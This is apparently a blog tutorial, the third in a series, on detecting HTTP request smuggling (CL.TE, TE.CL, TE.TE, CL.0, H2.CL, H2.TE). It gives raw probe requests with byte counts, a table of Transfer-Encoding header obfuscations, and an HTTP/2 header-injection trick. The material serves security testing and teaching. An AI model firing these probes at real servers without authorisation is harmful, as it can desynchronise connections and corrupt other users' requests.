# HTTP Request Smuggling Part 3 

## Introduction

* * *

Every request smuggling variant can be detected using the same underlying approach. First, create a disagreement about where a request ends. Then look for evidence that the leftover bytes were interpreted as part of a subsequent request.

That evidence usually comes from one of two sources:

*   Timeout-based probes, where one component waits for bytes that another component believes belong elsewhere.
    
*   Differential probes, where the desynchronization produces an observable change in application behavior.
    

## **Timeout-Based** Probe

* * *

Craft a request that causes one server to wait for bytes that never arrive. On a vulnerable target, the connection hangs until the socket times out. On a non-vulnerable target, the request completes normally.

This is usually the safest initial probe because a timeout does not poison the request queue. However, it is generally ineffective against **CL.0** vulnerabilities.

> **Note:** A timeout is strong evidence of desynchronization, but it is not definitive proof of request smuggling.

## **Differential** Probe

* * *

A timeout is only a hint; a corrupted response is stronger evidence.

If a parsing discrepancy causes part of one request to spill into the next, the backend may misinterpret the follow-up request and return an unexpected **404 Not Found**. Because the same request normally succeeds, a reproducible 404 can indicate that the connection has become desynchronized.

To keep testing reliable:

*   Send the attack request and follow-up request on separate connections (except when testing CL.0).
    
*   Use the same path and parameters for both requests.
    
*   Repeat suspicious results to account for interference from normal traffic.
    
*   If another user's request appears corrupted, stop testing immediately.
    

One important rule: always run the **CL.TE** timing probe before **TE.CL**. If the target is actually CL.TE-vulnerable, a TE.CL probe can interfere with legitimate traffic. Only escalate once CL.TE testing comes back clean.

## **CL.TE** (frontend CL, backend TE)

* * *

### **Timeout-Based** Probe

The frontend trusts `Content-Length` and stops reading after four bytes. The backend trusts `Transfer-Encoding: chunked` and continues waiting for a complete chunked body. Because the terminating chunk never arrives, the connection hangs until timeout.

```plaintext
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 4\r\n
\r\n
1\r\n
A\r\n
X
```

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/f9a1ca22-6de9-43bd-ad19-5bda84d9758f.png align="center")

### **Differential** Probe

Once the timeout suggests a likely desynchronization, switch to a differential probe.

```plaintext
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 35\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /404 HTTP/1.1\r\n
X-Ignore: X
```

> Byte count:
> 
> ```plaintext
> 0\r\n (3) 
> + \r\n (2) 
> + GET /404 HTTP/1.1\r\n (19) 
> + X-Ignore: X (11) 
> = 35 bytes.
> ```

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/85dc2cfa-9e9d-4657-b39a-0f9c8e9ff364.png align="center")

## **TE.CL** (frontend TE, backend CL)

* * *

### **Timeout-Based** Probe

The frontend treats `0\r\n\r\n` as the end of the chunked body. The backend trusts `Content-Length: 6` and waits for one more byte that never arrives.

```plaintext
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 6\r\n
\r\n
0\r\n
\r\n
X\r\n
```

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/6cf2aea0-9671-4230-ad1f-68128d86551f.png align="center")

### **Differential** Probe

Once the timeout suggests a likely desynchronization, switch to a differential probe.

```plaintext
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
2d\r\n
POST /404 HTTP/1.1\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
```

> Byte count:
> 
> ```plaintext
> POST /404 HTTP/1.1\r\n (20) 
> + Content-Length: 15\r\n (20) 
> + \r\n (2) 
> + x=1 (3) 
> = 45 bytes (0x2d).
> ```

## TE.TE — obfuscate the Transfer-Encoding header

* * *

Both servers understand chunked encoding, so a normal `Transfer-Encoding: chunked` header does not create a parsing discrepancy. To trigger desynchronization, the header must be obfuscated so that only one side recognizes it.

Test one obfuscation at a time.

| Obfuscation | Example | Typical parser discrepancy |
| --- | --- | --- |
| Duplicate `Transfer-Encoding` headers | `Transfer-Encoding: chunked \r\n Transfer-Encoding: cow` | Different implementations apply different precedence rules when multiple `Transfer-Encoding` headers are present. One side may honor `chunked`, while the other uses `cow`, rejects it, and falls back to `Content-Length`. |
| Junk-prefixed value | `Transfer-Encoding: xchunked` | Some parsers perform loose matching and still recognize `chunked`; others reject the value and fall back to `Content-Length`. |
| Space before the colon | `Transfer-Encoding : chunked` | Some parsers normalize the header and accept it; stricter implementations reject it as malformed. |
| Tab after the colon | `Transfer-Encoding:[tab]chunked` | Different implementations apply different whitespace normalization rules when parsing header values. |
| Leading space before the header name | `[space]Transfer-Encoding: chunked` | Some parsers treat it as a valid header line; others interpret it as a continuation line or ignore it entirely. |
| Bare LF header injection | `X: X[\n]Transfer-Encoding: chunked` | Some parsers accept a lone LF as a line terminator, creating a new header; others require a proper CRLF sequence. |

Once an obfuscation causes only one component to recognize `Transfer-Encoding`, the situation effectively reduces to either **CL.TE** or **TE.CL**. From that point, the same timeout and differential probes apply.

## CL.0 — backend ignores the body

* * *

Some endpoints ignore `Content-Length` entirely and behave as though the request body were empty. Any bytes in the body remain on the socket and are interpreted as a new request.

Good hunting targets include:

*   Static files
    
*   Server-level redirects
    
*   Error-generating endpoints
    

The `Content-Length` header is syntactically valid and accurately describes the transmitted body. The vulnerability exists because the backend ignores it.

### **Differential** Probe

```plaintext
POST /static-or-redirect-endpoint HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Connection: keep-alive\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 39\r\n
\r\n
GET /hopefully404 HTTP/1.1\r\n
X-Ignore: X

```

> Byte count:
> 
> ```plaintext
> GET /hopefully404 HTTP/1.1\r\n (28) 
> + X-Ignore: X (11) 
> = 39 bytes. 
> ```

A reproducible 404 where a normal request would succeed is strong evidence that the backend ignored the body and interpreted it as a separate request.

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/fb672a4b-9174-4b82-a304-a6dfa837a39a.png align="center")

## H2.CL / H2.TE: The downgrade reintroduces the conflict

* * *

HTTP/2 uses binary framing and is not vulnerable to classic CL/TE ambiguity by itself. The problem appears when an intermediary downgrades HTTP/2 to HTTP/1.1 before forwarding the request.

## H2.CL

* * *

H2.CL depends on the downgrade implementation preserving an attacker-controlled `Content-Length` header during translation.

### **Timeout-Based Probe**

Inject a `Content-Length` value larger than the actual body.

```plaintext
POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Content-Length: 15\r\n
\r\n
(no body — empty DATA frame)
```

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/230d20c2-5853-4391-9f78-d27a1fcfc9ad.png align="center")

The edge forwards a zero-byte body while preserving `Content-Length: 15`. The backend expects fifteen bytes, receives none, and waits until timeout.

Any value larger than the real body length works.

### **Differential** Probe

Inject `Content-Length: 0`.

```plaintext
POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Content-Length: 0\r\n
\r\n
GET /404 HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
X-Ignore: X
```

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/b63163f1-9dca-4f5d-8450-069ed3aa4384.png align="center")

The backend treats the outer request as bodyless and parses the embedded request separately. If repeated testing consistently produces a 404, desynchronization is likely.

## H2.TE

* * *

If `Transfer-Encoding: chunked` survives the downgrade process, the situation effectively becomes **CL.TE**. The same timeout and differential probes apply, but they are delivered through an HTTP/2 request.

### **Timeout-Based** Probe

```plaintext
POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
\r\n
1\r\n
A\r\n
```

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/9552392a-d5d4-4b29-9235-33fa73a57ebb.png align="center")

The backend honors `Transfer-Encoding`, reads the first chunk, and then waits for the terminating chunk that never arrives.

### **Differential** Probe

```plaintext
POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /404 HTTP/1.1\r\n
X-Ignore: X
```

![](https://cdn.hashnode.com/uploads/covers/6a41555189c94f47fe559fb0/0e41c2ef-400d-45a4-a74e-5124f41c0c16.png align="center")

The backend ends the body at the zero chunk and leaves the embedded request buffered for later processing, producing the same behavior observed in CL.TE.

If the edge strips a normal `Transfer-Encoding` header, you may need to smuggle it through a different header and rely on the downgrade process to reconstruct it.

```plaintext
foo: bar\r\ntransfer-encoding: chunked
```

The edge sees only the `foo` header and allows it through. After downgrade, the embedded line break can split the value into two separate headers, recreating `Transfer-Encoding: chunked`.

The timeout and differential payloads remain unchanged.

## Summary

* * *

| Variant | Primary Signal |
| --- | --- |
| CL.TE | Timeout → 404 |
| TE.CL | Timeout → 404 |
| TE.TE | Same as CL.TE / TE.CL |
| CL.0 | Reproducible 404 |
| H2.CL | Timeout → 404 |
| H2.TE | Same as CL.TE |

* * *

HTTP request smuggling occurs when different components disagree about where a request ends and the next one begins. By deliberately triggering these parsing discrepancies and observing timeouts or differential responses, we can identify the major variants, including **CL.TE**, **TE.CL**, **TE.TE**, **CL.0**, **H2.CL**, and **H2.TE**.

In this post, we've focused on detection and confirmation. In the next post, we'll move on to exploitation techniques and explore the real-world impact of HTTP request smuggling vulnerabilities.
